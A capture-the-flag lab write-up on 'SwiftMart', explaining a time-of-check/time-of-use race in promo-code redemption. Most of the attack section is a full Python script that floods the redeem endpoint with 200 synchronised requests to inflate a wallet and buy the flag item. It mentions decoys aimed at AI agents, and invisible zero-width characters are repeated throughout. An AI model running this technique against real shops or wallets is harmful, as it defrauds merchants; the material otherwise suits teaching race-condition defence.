← Back to Writeups
CUSTOMMediumWeb

Lab 272 — SwiftMart — Race Condition in Promo Code Redemption

XESXOR9/10/20266 min read
#web#custom#medium#concurrent_http_flooding#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_promo_bypass

Lab 272 — SwiftMart — Race Condition in Promo Code Redemption

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_promo_bypass

Summary

Task: Digital marketplace with wallet system where each user gets a single-use $50 promo code, but premium vault items cost $500+. Solution: TOCTOU race condition on promo code redemption endpoint — fire 200 concurrent requests using threading.Barrier to redeem the same code multiple times before it's marked as used, inflating wallet balance to purchase the vault item containing the flag.

Lab 272 — SwiftMart — Race Condition in Promo Code Redemption

Description

SwiftMart is a digital marketplace where users can buy and sell digital goods. Each new user receives a $50 welcome promo code to get started. The platform has a wallet system for managing funds, a catalog of digital products, and a premium vault with exclusive high-value items. Your goal is to obtain the flag hidden in one of the premium vault items. You start with limited funds — find a way to get more.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based digital marketplace with a wallet system. Each new user gets a unique single-use $50 promo code (WELCOME-XXXXXXXX), but the flag is locked behind a premium vault item costing $500. The promo code redemption endpoint has a TOCTOU race condition that allows redeeming the same code multiple times concurrently.

Analysis

Reconnaissance

After logging in with the provided credentials, the application reveals a Flask-based marketplace with the following structure:

  • /marketplace — product catalog
  • /wallet — wallet with balance display and promo code redemption form
  • /promotions — shows user's assigned promo code and usage info ("Each code can be used only once — single-use only")
  • /vault — Premium Vault with 3 expensive items
  • /orders — purchase history
  • /api/wallet/redeem — POST endpoint for redeeming promo codes (accepts code as form data, returns JSON)
  • /api/vault/purchase — POST endpoint for buying vault items (accepts product_id as form data) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Session management uses Flask signed cookies (eyJ1c2VyX2lkIjoiLi4uIn0... format).

Premium Vault Items

Product IDNamePrice
vault03AI Training Dataset Bundle$750
vault02Exclusive Data Package$500
vault01Enterprise SaaS Starter$250

The flag is in vault02 (Exclusive Data Package, $500). The vault01 item ($250) is a decoy — it returns fake content about a GitHub repo.

Decoy Flags

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs, designed to trick AI agents and automated scanners. These are fake. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: TOCTOU Race Condition

The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:

  1. Check: Server queries the database to verify if the promo code has already been redeemed
  2. Apply: $50 credit is added to the user's wallet balance
  3. Update: The promo code is marked as redeemed in the database

Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the check and the state mutation are not wrapped in a single database transaction with proper locking. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Register a Fresh Account

Register a new user to get a fresh, unused promo code:

python
session = requests.Session()
session.verify = False

username = f"race_{random_string()}"
email = f"{username}@test.com"

resp = session.post(f"{BASE_URL}/register", data={
    "username": username,
    "email": email,
    "password": "password123",
    "confirm_password": "password123"
}, allow_redirects=False)

session.get(f"{BASE_URL}/")

# Extract promo code from /promotions page
promo_resp = session.get(f"{BASE_URL}/promotions")
match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text)
promo_code = match.group(0)  # e.g. WELCOME-2CA339EC

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Race Condition Attack

Fire 200 concurrent requests using threading.Barrier to synchronize all threads to release at the exact same instant, maximizing the TOCTOU window:

python
NUM_THREADS = 200
cookies = dict(session.cookies)
barrier = threading.Barrier(NUM_THREADS, timeout=30)
results = []
lock = threading.Lock()

def attack_thread(idx):
    s = requests.Session()
    s.verify = False
    s.cookies.update(cookies)
    try:
        barrier.wait()  # All threads release simultaneously
        resp = s.post(
            f"{BASE_URL}/api/wallet/redeem",
            data={"code": promo_code},
            timeout=30
        )
        data = resp.json()
        with lock:
            results.append(data)
            if data.get("success"):
                print(f"  [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
    except:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
    t.start()
for t in threads:
    t.join(timeout=45)

Result: 12 out of 200 threads passed the usage check and successfully redeemed the code, resulting in a balance of $600 (12 × $50) instead of the intended $50.

The race condition is probabilistic — sometimes only 6-8 threads succeed ($300-$400), sometimes 10-12 ($500-$600). Multiple attempts with fresh accounts may be needed to reach the $500 threshold. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Purchase the Flag

With $600 in the wallet, purchase the "Exclusive Data Package" (vault02, $500):

python
resp = session.post(f"{BASE_URL}/api/vault/purchase", data={"product_id": "vault02"})
data = resp.json()
# Response:
# {
#   "content": "FLAG{REDACTED}",
#   "message": "Purchase successful!...",
#   "order_id": "d56dcd55",
#   "success": true
# }

Full Exploit Script

python
#!/usr/bin/env python3
"""SwiftMart Race Condition Exploit — TOCTOU promo code redemption"""

import requests
import threading
import re
import random
import string
import urllib3
import time
urllib3.disable_warnings()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "https://198f4e15-9468-4539-8449-d1e5f152ff1e.labs.hackadvisor.io"

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def register_and_get_promo():
    session = requests.Session()
    session.verify = False
    username = f"race_{random_string()}"
    email = f"{username}@test.com"
    resp = session.post(f"{BASE_URL}/register", data={
        "username": username, "email": email,
        "password": "password123", "confirm_password": "password123"
    }, allow_redirects=False)
    session.get(f"{BASE_URL}/")
    promo_resp = session.get(f"{BASE_URL}/promotions")
    match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text)
    promo_code = match.group(0) if match else None
    print(f"[*] Registered: {username} | Promo: {promo_code}")
    return session, promo_code
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def race_attack(session, promo_code, num_threads=200):
    cookies = dict(session.cookies)
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()

    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()
            resp = s.post(f"{BASE_URL}/api/wallet/redeem",
                          data={"code": promo_code}, timeout=30)
            data = resp.json()
            with lock:
                results.append(data)
                if data.get("success"):
                    print(f"  [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
        except:
            pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    threads = [threading.Thread(target=attack_thread, args=(i,))
               for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)

    successes = [r for r in results if r.get("success")]
    max_bal = max([r.get("new_balance", 0) for r in results if r.get("success")], default=0)
    print(f"[*] Result: {len(successes)} successful | Balance: ${max_bal:.2f}")
    return max_bal

def check_balance(session):
    resp = session.get(f"{BASE_URL}/wallet")
    match = re.search(r'balanceDisplay">\$([0-9.]+)', resp.text)
    return float(match.group(1)) if match else 0.0
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def buy_vault_item(session, product_id):
    resp = session.post(f"{BASE_URL}/api/vault/purchase",
                        data={"product_id": product_id})
    return resp.json()

def main():
    for attempt in range(5):
        print(f"\n--- Attempt {attempt + 1} ---")
        session, promo_code = register_and_get_promo()
        if not promo_code:
            continue
        race_attack(session, promo_code, 200)
        balance = check_balance(session)
        print(f"[*] Actual balance: ${balance:.2f}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        if balance >= 500:
            result = buy_vault_item(session, "vault02")
            if result.get("success"):
                print(f"\nFLAG: {result.get('content')}")
                return
        time.sleep(1)
    print("[-] Could not get enough balance in 5 attempts")

if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍